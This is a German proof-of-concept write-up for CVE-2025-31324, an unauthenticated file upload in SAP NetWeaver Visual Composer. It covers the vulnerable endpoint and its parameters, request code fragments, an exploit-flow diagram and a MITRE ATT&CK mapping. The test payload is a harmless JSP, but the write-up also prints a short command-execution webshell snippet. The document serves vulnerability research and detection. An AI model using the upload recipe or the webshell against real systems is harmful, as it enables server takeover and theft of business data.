
Proof-of-Concept-Exploit für CVE-2025-31324, einen nicht authentifizierten Datei-Upload in SAP NetWeaver Visual Composer, mit Erkennungshinweisen, MITRE-Zuordnung und Behebungsmaßnahmen.
Typ: Proof of Concept — Schwachstellenforschung CVE: CVE-2025-31324 CVSS: 10.0 Kritisch (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Gepatched — SAP Security Note 3594142 + 3604119 Zur CISA KEV hinzugefügt: Mai 2025
⚠️ Dieser PoC verwendet eine harmlose JSP-Datei ("Hello World"), um die Angriffsfläche zu validieren, ohne bösartigen Code auszuführen. Ausschließliche Verwendung in autorisierten Umgebungen für Pentesting und die Entwicklung von Erkennungsregeln.
Entwickelt von: HKK$ cat ./vulnerability_summary.txtDie Schwachstelle CVE-2025-31324 liegt in der Komponente Visual Composer Metadata Uploader des SAP NetWeaver AS Java — ein Fehler der fehlenden Autorisierungsprüfung, der es jedem nicht authentifizierten Angreifer ermöglicht, POST-Anfragen an den Endpunkt /developmentserver/metadatauploader zu senden, was zu einem uneingeschränkten Upload beliebiger Dateien führt.
Die CVE betrifft speziell das SAP NetWeaver Visual Composer Framework Version 7.50, mit einem CVSS-Score von 10.0 — dem maximal möglichen.
Bedrohungsakteure haben diese Schwachstelle von Januar bis Mai 2025 aktiv ausgenutzt und persistente Webshells in hunderten von Systemen weltweit implantiert.
$ cat ./impact.txtDa es mit erhöhten Privilegien arbeitet und sich in der Nähe von ERP-Daten befindet, ist die laterale Bewegung zu SAP-ABAP-Stacks oder verbundenen Datenbanken nach der Ausnutzung trivial.
Die vollständige Ausnutzungskette bei realen Angriffen:
Upload JSP (CVE-2025-31324)
→ Persistente Webshell auf dem Server
→ RCE als SAP-Prozess (hohe Privilegien)
→ Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)
→ Laterale Bewegung zu ABAP / DB
→ Deployment von C2-Frameworks (z. B. Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT-FLOW │
│ │
│ ANGREIFER SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/beliebige Datei ──────────► │ Metadata Uploader │ │
│ (ohne Authentifizierung) │ │ │
│ │ ❌ Keine Prüfung │ │
│ │ der Auth │ │
│ │ ❌ Keine Validierung│ │
│ │ der Endung │ │
│ │ ❌ Keine Bereinigung│ │
│ │ des Inhalts │ │
│ └────────┬────────────┘ │
│ │ │
│ Datei gespeichert unter: │
│ /irj/root/ oder ähnlich │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (harmloser PoC) │
│ → Webshell (echter Exploit) │
└─────────────────────────────────────────────────────────────────────────┘
Der /developmentserver/metadatauploader ist Teil des SAP Visual Composer — eines Low-Code-Entwicklungstools für Business-Analysten, um SAP-Anwendungen ohne Java-Code zu erstellen. Der Endpunkt wurde entwickelt, um während der Entwicklung Metadatenmodelle zu empfangen. Obwohl die Komponente in der Standardkonfiguration von NetWeaver nicht aktiviert ist, berichtete Onapsis, dass sie in Produktionsumgebungen weit verbreitet aktiviert ist.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Warum JSP und nicht ein anderes Format?
Der SAP NetWeaver AS Java führt eine JVM aus — .jsp-Dateien werden direkt vom Servlet-Container (eingebetteter Apache Tomcat) ohne vorherige Kompilierung interpretiert. Das macht JSP zum idealen Format für Webshells in Java-Umgebungen.
Die Wahl des harmlosen Inhalts ("Hello World") ist für den PoC bewusst getroffen:
Bei realer Ausnutzung wäre der Inhalt eine JSP-Webshell mit Befehlsausführung, z. B.:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Warum dieser Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
Der Endpunkt erwartet eine multipart/form-data-Anfrage — dasselbe Format, das von HTML-Formularen für Datei-Uploads verwendet wird. Dies ist im ursprünglichen Design des Visual Composer beabsichtigt (Upload von Entwicklungsmodellen).
Die Bibliothek requests erstellt die Multipart-Grenzen automatisch, wenn files= übergeben wird — der Header Content-Type: multipart/form-data; boundary=... wird intern generiert.
verify=False: Deaktiviert die TLS-Zertifikatsvalidierung — notwendig, da SAP-Umgebungen häufig selbstsignierte Zertifikate verwenden. In der Produktion verify='/pfad/zu/ca-bundle.crt' verwenden.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Komponente | Bedeutung |
|---|---|
:50201 | Standardport des SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Entwicklungs-Servlet des Visual Composer |
metadatauploader | Spezifischer Endpunkt für den Metadaten-Upload |
CONTENTTYPE=MODEL | Vom Endpunkt erwarteter Inhaltstyp |
CLIENT=1 | SAP-Mandant — 000, 100, 001 sind üblich |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Ausnutzung des Endpunkts /developmentserver/metadatauploader
# ohne Authentifizierung über HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP-Webshell hochgeladen → vom Servlet-Container (Tomcat) ausgeführt
tactic: Persistence
- T1505.003 # Web Shell als Persistenzmechanismus
# JSP-Datei bleibt über Neustarts hinweg im Dateisystem des Servers
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells benannt wie legitime SAP-Dateien (z. B. metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Nach RCE: Prozesse, Benutzer, SAP-Pfade aufzählen
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Zugriff auf den ABAP-Stack, verbundene Datenbanken über RCE
tactic: Collection
- T1005 # Data from Local System
# Direkter Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)